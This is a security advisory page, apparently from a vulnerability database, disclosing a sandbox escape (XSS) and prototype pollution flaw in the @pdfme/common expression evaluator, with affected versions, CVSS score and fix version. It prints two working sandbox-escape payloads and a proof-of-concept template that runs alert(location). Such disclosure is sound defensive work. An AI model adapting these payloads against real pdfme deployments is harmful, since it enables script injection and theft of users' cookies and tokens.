Medium

@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation

  • Disclosed: 10.07.2025
  • Updated: 11.10.2026 10:22

Summary

The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.

Details

1. Sandbox Escape Leading to XSS

The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:

js
// Attack vector 1: Using Object.getOwnPropertyDescriptor
{ ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() }

// Attack vector 2: Using object property access
{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() }

Both payloads bypass the sandbox restrictions and execute Function("alert(location)")().

2. Prototype Pollution

The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:

  • __lookupGetter__
  • __lookupSetter__
  • __defineGetter__
  • __defineSetter__

Impact

These vulnerabilities allow attackers to:

  • Execute arbitrary JavaScript code in the context of the application
  • Steal sensitive information including cookies and tokens
  • Modify application behavior through prototype pollution
  • Potentially perform actions on behalf of users

Proof of Concept

Loading the following template in pdfme triggers alert(location):

js
{
  "schemas": [[{
    "name": "field1",
    "type": "text",
    "content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }",
    "position": { "x": 0, "y": 0 },
    "width": 100,
    "height": 100
  }]],
  "basePdf": { "width": 100, "height": 100 },
  "pdfmeVersion": "5.4.0"
}

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @pdfme/common >= 5.2.0, < 5.4.1 5.4.1

References

CVSS score 6.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness (CWE)
CWE-1321, CWE-79
Platform
npm
Package
@pdfme/common
Disclosed
10.07.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-54xv-94qv-2gfg - CC BY 4.0

Vulnerability history: @pdfme/common

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
2
First → latest
07.2025 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Medium 2

Disclosures per year

  1. 2025: 1
  2. 2026: 1
  1. @pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation this entry
    Medium · 6.1 CVE-2025-53626 >= 5.2.0, < 5.4.1 5.4.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.